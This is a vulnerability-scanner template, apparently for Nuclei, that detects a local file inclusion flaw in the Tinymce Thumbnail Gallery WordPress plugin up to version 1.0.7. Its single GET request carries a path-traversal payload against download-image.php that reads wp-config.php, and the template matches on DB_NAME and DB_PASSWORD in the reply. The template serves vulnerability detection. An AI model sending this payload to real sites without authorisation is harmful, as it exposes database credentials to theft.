id: wp-tinymce-lfi

info:
  name: Tinymce Thumbnail Gallery <=1.0.7 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Tinymce Thumbnail Gallery 1.0.7 and before are vulnerable to local file inclusion via download-image.php.
  reference:
    - https://wpscan.com/vulnerability/4a49b023-c1c9-4cc4-a2fd-af5f911bb400
    - http://wordpress.org/extend/plugins/tinymce-thumbnail-gallery/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: wpscan,wordpress,wp-theme,lfi,tinymce

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php?href=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cf04fe6789650b57f1b71928d2777257a5c0dea5c97f614d917aeb0a060e4b8102200c01695e1b5c0a304d39d0dc1d98398fa7c6d7cd939c840aa686e61f2e00eb3e:922c64590222798bb761d5b6d8e72950